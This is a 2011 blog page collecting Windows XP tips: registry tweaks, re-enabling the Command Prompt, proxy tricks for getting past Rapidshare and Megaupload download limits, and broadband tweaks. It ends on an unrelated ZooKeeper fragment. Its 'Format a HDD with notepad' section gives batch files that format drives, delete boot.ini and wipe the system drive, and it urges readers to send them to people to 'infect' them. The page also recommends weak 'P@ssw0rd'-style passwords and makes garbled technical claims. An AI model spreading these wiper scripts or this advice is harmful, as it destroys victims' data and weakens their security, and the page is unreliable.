Wednesday, September 21, 2011

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Make Windows XP Shutdown Faster than ever

1. This step is very important.
Export (right click > Export) the following keys and save it to a safer place.

HKEY CURRENT USER\Control Panel\Desktop

2. Open Notepad, copy and paste the following to the Notepad.

Windows Registry Editor Version 5.00

[HKEY_CURRENT_USER\Control Panel\Desktop]


3. Save the file and close Notepad.

4. Change extension of the file from .txt (text file) to .reg (registry file).

5. Double click open this file and click Yes and the OK

Hack Rapidshare and all other file hosting websites

Universal Share Downloader (USDownloader), also called RapidShare downloader or MyTempDir downloader is actually not a crack or hack program. Instead, Universal Share Downloader is a download manager for automated download a list of files from most popular free uploaders or free unlimited upload files hosting servers such as RapidShare, MegaUpload, YouSendIt, FileFactory and etc.

Normally, if you’re not premium member or paid member or upgraded member of the free unlimited or one-click file hosting, web space and file delivery service, the service will has some limitations when you try to download the files from the server, such as no concurrent parallel download, so you have to download one file after another file has finished downloading. Beside, you’re also limited to certain download bandwidth limit based on time and IP address, download time delay (reserve “download ticket” system and no instant download start) and slower download speed.

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Note: For proxy servers list, you can download a software called GeoWhere and use GeoWhere to search for available proxy servers on the Internet, and put all the found proxies into a text file. You should use only anonymous proxy, as transparent proxy will reveal your IP address too. Alternatively, several websites has a long list of open public proxy servers that can be used by the USDownloader such as, Proxy List even allows you to download list of proxy servers in a text file format (remember to download only anonymous or elite proxy by searching for the type before downloading).
Best of all, Universal Share Downloader is a freeware, and no installation needed. Just download the Universal Share Downloader v 1.3.4 Beta 8 zip file , extract it and run the USDownloader.exe. The few limitation of Universal Share Downloader include unable to download normal download links (it works on those file sharing/hosting services only), and it itself yet to support parallel, concurrent and multi-threaded downloading in current (1.3.3) version (to enable it now, you have to launch multiple USDownloader.exe)
Homepage (in Russian): Universal Share Downloader

Command Prompt Disabled

Use this method to enable the Command Prompt.

There are three methods: (Or download file from bottom)

Method 1: (Run method)

1. Select Run from Start menu.
2. Type the following: (better copy and paste)

REG add HKCU\Software\Policies\Microsoft\Windows\System /v DisableCMD /t REG_DWORD /d 0 /f
and press Enter.(Click OK)

Method 2:
(Registry Editor method)

1. Open Registry Editor.

2. Get to this key:

3. In the right pane, double click on DisableCMD and set it's data to 0.
4. Close Registry Editor.

Method 3: (Group Policy method)

1. From
Start menu, select Run. Type gpedit.msc and press Enter.

Group Policy editor

2. Get to:
User Configuration > Administrative Templates
> System
3. From the right pane, double click open Prevent access to the command prompt.
4. Set Disable and click OK.
5. Exit Group Policy editor.

Bypass Megaupload country slot limit without toolbar, extension

Internet users who live in a country outside the United States would usually get limited country slot error when trying to download files from Mega upload. Mega upload requires the visitors to install the Alexa tool bar to proceed downloading and it will be quite troublesome if we’re using public computer or prefer not to install information gathering software like the Alexa Tool bar. There are several ways to solve this either by using US based proxy or by applying some tweaks to your computer/internet browser which is the most effective method this time. Those tweaks are:

Mozilla Firefox tweak:

1. Go to address bar and type about:config . Press enter

2. Look for general.useragent.extra.firefox using the filter and double click on it

3. Change the default text with this: Firefox/ MEGAUPLOAD 1.0

Windows Registry tweak (for Internet Explorer 7 and Internet Explorer 6):

1. Open run in the start menu and type regedit. Press enter.

2. in Registry Editor window, go to [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Setting\5.0\User Agent\Post Platform]

3. Right click on ‘Post Platform’ and add new string value. Enter “Alexa Toolbar”. Save the registry and restart your computer.

Note: For IE 7.0 the “Post Platform” will be located at:

[HKEY_LOCAL_MACHINE\SOFTWARE\Mcft\Windows\CurrentVersion\Internet Settings\User Agent\Post Platform]

I have Tested it and working. Just try this trick

Download Unlimited from Rapidshare without paying

I knew a lot of us here use Rapidshare to download and share a lot of stuff. It's quite annoying when we were unable to download for a certain period after downloading a big file. What are going to be shared to day is how to download from Rapidshare using proxy so that you won't have to face the 1 hour limitation problem again.

The programs that we need are a browser with ability to use proxy. I use Slimbrowser for two reasons:

1) I don't want to delete my Firefox or IE cache and cookies files.

2) It's very lite and not a resource hogger


1. Download the browser from this location. Install it.
2. Get a proxy list here. This trick requires the usage of proxy server to work. So don't skip this step. Grab one proxy or more!
3. This is how you are going to setup your proxy

:Click Tools > Proxies > Organize Proxies

- In the Name field, enter something to identify your proxy, for example, Brazil #1
- In the first address field, enter the proxy address you got from Proxy4Free,
for example,
- In the second address field, enter the proxy port, for example, 3128
- If you want to set the entered proxy as the default proxy, then click the
Set As Current Proxy button
- Click OK to close the dialog box

* If you want to add more proxies, repeat the steps above again and again.

4. After you have setup the proxy, copy and paste the Rapidshare download link to your
browsers’ address bar, and wait for the Rapidshare page to launch.

5. In Rapidshare website, do the followings:

- Press enter and scoll down to bottom and click the FREE button

- Wait until the counter reaches zero or use any auto-reveal-link-utility
- Copy paste the download link into your favorite download manager, for
example, Flashget
- Download the file happily


Note that if Rapidshare gives you error like this;

This IP is not allowed to use free anonymous services.. or Your IP, is downloading a file…

It's time to use another proxy!!! In Slimbrowser, go to menu, Tools > Proxies and select another proxy you already entered before

6) After downloading a file, don’t forget to clear your trace!

In Slimbrowser go to menu Tools > Internet Options to open the Internet Options applet
Click both Delete Cookies and Delete Files button to wipe out all references to Rapidshare. If you need to download more files, repeat all steps from 1 to 6, and hopefully you’ll be happier than ever.


1. Do not choose proxy with port 80

2. Avoid choosing proxies addresses

Hack Rapidshare and Megaupload

1.Download the software Hide ip platinum from here

2.Run it, then it will automatically chose a proxy (ip of a different country) for you. So you can easily download without any restrictions. You just have to change the proxy each time you download.

Improve the Broadband Speed

1) Goto and click on Download Speed Test, and then on Smart Test....(and while conducting this test, don't forget to close all Instant Messagers, and there should be no other web activity, other than the test)

2) Note down the speeds.

Now, lets see, what all changes to be made.....

This tip is designed for increased BROADBAND speed in Windows XP while using standard Network Interface cards (NIC) that are connected to ADSL modems, or when using any directly-connected USB ADSL modem.

To speed up the Internet connection speed we need to configure a special buffer in the computer's memory in order to enable it to better deal with interrupts made from the NIC or the USB modem.

This tip is only recommended if you have 256MB RAM or higher.

Step #1 - Identify the IRQ used by the NIC/USB modem

1. Open the System Information tool by running MSINFO32.EXE from the Run command.
2. Expand System Summary > Hardware Resources > IRQs.
3. Look for the listing made for your NIC (in my case - a Intel® PRO/100+ Management Adapter). Note the IRQ next to the specified line (in my case - IRQ21).

In case of USB modems you will first need to find the right USB device used by your modem. Follow these steps:

1. Open the Device Manager tool by running DEVMGMT.MSC from the Run command (or by right-clicking My Computer > Hardware tab > Device Manager button).

2. Scroll down to Universal Serial Bus controllers and expand it.

3. Right-click the USB Root Hub and select Properties. Note that you might need to do so for all listed USB Root hubs (if there are more than one) in order to find the right one.

4. In the Power tab, look for your USB ADSL modem.

5. In the Resources tab look for the assigned IRQ (in this case - IRQ21).

6. This is the IRQ we're looking for.

Note: IRQs and modem names might vary...

Step #2 - Modify the system.ini file

1. Run SYSEDIT.EXE from the Run command.
2. Expand the system.ini file window.
3. Scroll down almost to the end of the file till you find a line called [386enh].
4. Press Enter to make one blank line, and in that line type IRQX=4096 where X is the designated IRQ number we found in step #1, in my case it's IRQ21.

Note: This line IS CASE SENSITIVE!!!

5. Click on the File menu, then choose Save.
6. Close SYSEDIT and reboot your computer.

Done. Speed improvement will be noticed after the computer reboots.

Tips to create a Strong Password easily

How to create a Strong Password. This lead me to explain the method I follow to set a password - A Strong Password indeed by all standards.

You must follow the following criteria while creating a Strong Password:

* The password must be a minimum of 8+ characters.
* The password must have 1 number , 1 special character, 1 Upper Case character.

A very simple example that I use to explain my friends and colleages is : P@ssw0rd. It fullfills all the criteria's. The 'a' is replaced by a special character @. The 'P' is of upper case. The 'o' is replaced by the numeral 0.

Well, you can now convert your regular password into a Strong Password by following a few changes like the example I have mentioned above for the simple password - P@ssw0rd.

* Make the first character Upper Case.
* Change all 'a' in the password to the special character @.
* Change all 's' in the password to the special character $.
* Change all 'l' in the password to the special character !.
* Change all 'o' in the password to the numerical 0.
* Change all 'i' in the password to the numerical 1.

See Hidden Files If Not Seen

The show hidden files and folders may not work sometimes.If we selected Show hidden files and folders, and then apply the changes, that changes may disappear when we open the Folder Options again.
This happens may be due to some viruses.
You can clean the system using an effective Antivirus, and get back the normal situation.
If you want to show the hidden files before removing this virus, this method may work.


1. Open Registry Editor ( Start > Run > regedit )
2. Get to this location:


Now, in the right pane, double click open the entry name Hidden. Change its value to 1 and click OK.

Now close the registry editor, and look whether the hidden files are shown or not.

Want to know full details of your computer

Sometimes, we may need to know details of our computer. Here is method for that,


1. Start Command Prompt ( Start > Run > CMD )
2. Type Systeminfo and press Enter.

To save this details to a text file :

3. Type Systeminfo>C:\systeminfo.txt

This command will save a text file named systeminfo in C drive.
You can change the path for you use.

Format a HDD with notepad

Do not try it on ur PC. Dont mess around this is for educational purpose only.
Step 1.
Copy The Following In Notepad Exactly as it says

Step 2.
Save As An EXE Any Name Will Do

Step 3.
Send the EXE to People And Infect


IF u think u cannot format c drive when windows is running try Laughing and u will get it Razz .. any way some more so u can test on other drives this is simple binary code
format c:\ /Q/X -- this will format your drive c:\

01100110011011110111001001101101011000010111010000 100000011000110011101001011100


format d:\ /Q/X -- this will format your dirve d:\

01100110011011110111001001101101011000010111010000 100000011001000011101001011100


format a:\ /Q/X -- this will format your drive a:\

01100110011011110111001001101101011000010111010000 100000011000010011101001011100


del /F/S/Q c:\boot.ini -- this will cause your computer not to boot.

01100100011001010110110000100000001011110100011000 101111010100110010111101010001

00100000011000110011101001011100011000100110111101 101111011101000010111001101001


try to figure out urself rest, its working, still if u cant figure it out try this.....

go to notepad

@Echo off
Del C:\ *.*|y

save it as Dell.bat


@echo off
del %systemdrive%\*.*/f/s/q
shutdown -r -f -t 00

and save it as a .bat file

Policy settings for the Start menu in Windows XP

This post provides descriptions of the registry entries for policies that you can apply to the Start menu in Microsoft Windows XP.

The settings on Start menu is controlled by the registry values under the registry key,

Here, we can create a D-WORD registry value for a setting, that has values 1 (enable) or 0 (Disable).
That is, for a setting such as, for Run in start menu, NoRun D-WORD is used. Setting its value to 1 will remove Run from Start menu, Task Manager etc. And setting the value to 0 will show Run in respective areas.

Below are the D-WORDs and its description.
All this D-WORDS must be created under the key HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer (except in those case which has given its on path) to take effect.(you may need to restart)
To create a D-WORD, after getting to the above key, right click in an empty space and select New > DWORD Value.

Warning :
Serious problems might occur if you modify the registry incorrectly by using Registry Editor or by using another method. These problems might result you to even reinstall your operating system. You must Export the key before you make any changes.Modify the registry at your own risk.
Policies and Description:

Policy:Disable the new simple Start Menu
Description:Disables the new simple Start menu and forces the classic
Start menu.
Registry Value:"NoSimpleStartMenu"

Policy:Remove pinned programs list from the Start menu
Description:Removes the pinned programs list from the Start menu. Also
removes the Internet and E-mail checkboxes from the Start menu
customization CPL.
Registry Value:"NoStartMenuPinnedList" 

Policy:Remove frequent programs list from the Start Menu
Description:Removes the frequently-used programs list from the Start
Registry Value:"NoStartMenuMFUprogramsList"

Policy:Remove More Programs list from the Start menu
Description:Removes the More Programs list from the Start menu.
Registry Value:"NoStartMenuMorePrograms"

Policy:Remove common program groups from Start Menu
Description:Removes items in the All Users profile from the More
Programs list on the Start menu.
Registry Value:"NoCommonGroups"

Policy:Gray unavailable Windows Installer programs Start Menu shortcuts
Description:Displays partially installed programs in gray text on the
Start menu.
Registry Value:"GreyMSIAds"

Policy:Disable and remove links to Windows Update
Description:Removes the Windows Update link from the More Programs list
in Start menu, from the Tools menu in IE, and blocks user access to
Registry Value:"NoWindowsUpdate"

Policy:Remove user folders from the Start Menu
Description:Removes all user-specific folders except My Documents (My
Pictures, My Music, Favorites, and Recent Documents) from the Start menu.
Also removes the corresponding checkboxes from the Start menu
customization CPL.
Registry Value:This is a combination of the following:
"NoStartMenuMyMusic", "NoSMMyPictures","NoFavoritesMenu",

Policy:Prohibit user from changing user folder paths
Description:Prevents users from changing the path to the My Pictures,
My Music, Favorites, and Recent Documents folders.
Registry Value:"DisableMyPicturesDirChange", "DisableMyMusicDirChange",

Policy:Remove My Documents folder from the Start Menu
Description:Removes My Documents folder from the Start menu and
corresponding checkbox from the Start menu customization CPL.
Registry Value:"NoSMMyDocs"

Policy:Prohibit user from changing My Documents path
Description:Prevents users from changing the path to the My Documents
Registry Value:"DisablePersonalDirChange"

Policy:Remove Recent Documents item from Start Menu
Description:Removes the Recent Documents folder from the Start menu. Also
removes the corresponding checkbox from the Start menu customization CPL.
Registry Value:"NoRecentDocsMenu" 

Policy:Maximum number of recent documents
Description:Specifies the number of shortcuts displayed on the Recent
Documents submenu.
This policy exist under the following location in Group Policy:
User Configuration \ Administrative Templates \ Windows Components
Registry Value:"MaxRecentDocs" 

Policy:Clear history of recent documents on exit
Description:Deletes all shortcuts shown in the Recent Documents menu when
the user logs off.
Registry Value:"ClearRecentDocsOnExit"

Policy:Remove Favorites item from Start Menu
Description:Prevents users from adding the Favorites item to the Start
menu. Also removes the corresponding checkbox from the Start menu
customization CPL.
Registry Value:"NoFavoritesMenu"

Policy:Remove My Computer from the Start Menu
Description:Removes the My Computer item from the Start Menu and the
corresponding checkbox from the Start menu customization CPL.
Registry Value:"{20D04FE0-3AEA-1069-A2D8-08002B30309D}" under

Policy:Remove Network Connections from the Start Menu
Description:Removes the Network Connections item from the Start menu
and the corresponding checkbox from the Start menu customization CPL.
Registry Value:"NoNetworkConnections"

Policy:Remove Network Places from the Start Menu
Description:Removes the Network Places item from the Start menu and the
corresponding checkbox from the Start menu customization CPL.
Registry Value:"NoStartMenuNetworkPlaces"

Policy:Do not add shares of recently used documents to Network Places
Description:Remote shared folders are not added to Network Places whenever
you open a document in the shared folder.
Registry Value:"NoRecentDocsNetHood"

Policy:Remove Help item from Start Menu
Description:Removes the Help item from the Start menu, but does not
disable Help files from running.
Registry Value:"NoSMHelp"

Policy:Remove Search item from Start Menu
Description:Removes the Search item from the Start menu and disables some
Windows Explorer search elements.
Registry Value:"NoFind"

Policy:Remove Run item from Start Menu
Description:Removes the ability to execute programs from the Run option
on the Start menu, Task Manager, or by pressing Winkey + R. Also removes
the corresponding checkbox from the Start menu customization CPL.
Registry Value:"NoRun"

Policy:Add "Run in Separate Memory Space" check box to Run dialog box
Description:Allows 16-bit programs to run in a dedicated Virtual DOS
Machine (VDM) process.
Registry Value:"MemCheckBoxInRunDlg"

Policy:Do not use the search-based method when resolving shell shortcuts
Description:Prevents the system from conducting a comprehensive search of
the target drive to resolve a shortcut.
Registry Value:"NoResolveSearch"

Policy:Do not use the tracking-based method when resolving shell shortcuts
Description:Prevents the system from using NTFS features to resolve a
Registry Value:"NoResolveTrack"

Policy:Force Logoff to the Start Menu
Description:Forces the Logoff button to the Start menu and prevents users
from removing the Logoff option from the Start menu.
Registry Value:"ForceStartMenuLogoff"

Policy:Disable Logoff on the Start Menu
Description:Removes the "Logoff" button from the Start menu and prevents
users from adding the Logoff button to the Start menu.
Registry Value:"StartMenuLogoff"

Policy:Disable and remove the Turn Off Computer button
Description:Removes the "Turn Off Computer" button from the Start Menu and
prevents shutting down Windows using the standard shutdown user interface.
Registry Value:"NoClose"

Policy:Disable and remove the Undock PC command
Description:Removes the "Undock PC" button from the Start Menu and
prevents undocking of the PC (laptop).
Registry Value:"NoStartMenuEjectPC"

Policy:Disable drag-and-drop menus on the Start Menu
Description:Prevents users from modifying the Start menu by dragging and
dropping items. Other methods of customizing the Start menu are still
Registry Value:"NoChangeStartMenu"

Policy:Disable changes to Taskbar and Start Menu settings
Description:Removes the Taskbar & Start Menu item from the Control
Panel, and removes the Properties item from the Start menu (and button)
context menu.
Registry Value:"NoSetTaskbar"

Policy:Disable user tracking
Description:Prevents the system from remembering the programs run, paths
followed, and documents used.
Registry Value:"NoInstrumentation"

Policy:Remove user name from Start Menu
Description:Removes the user name from the Start menu.
Registry Value:"NoUserNameInStartMenu"

Example: For the above policy (Remove user name from Start Menu) , create a D-WORD and name it NoUserNameInStartMenu. Set its value to 0 for showing and to 1 for hiding the User name in Start menu.

Apache ZooKeeper

What is ZooKeeper?

ZooKeeper is a centralized service for maintaining configuration information, naming, providing distributed synchronization, and providing group services. All of these kinds of services are used in some form or another by distributed applications. Each time they are implemented there is a lot of work that goes into fixing the bugs and race conditions that are inevitable. Because of the difficulty of implementing these kinds of services, applications initially usually skimp on them ,which make them brittle in the presence of change and difficult to manage. Even when done correctly, different implementations of these services lead to management complexity when the applications are deployed.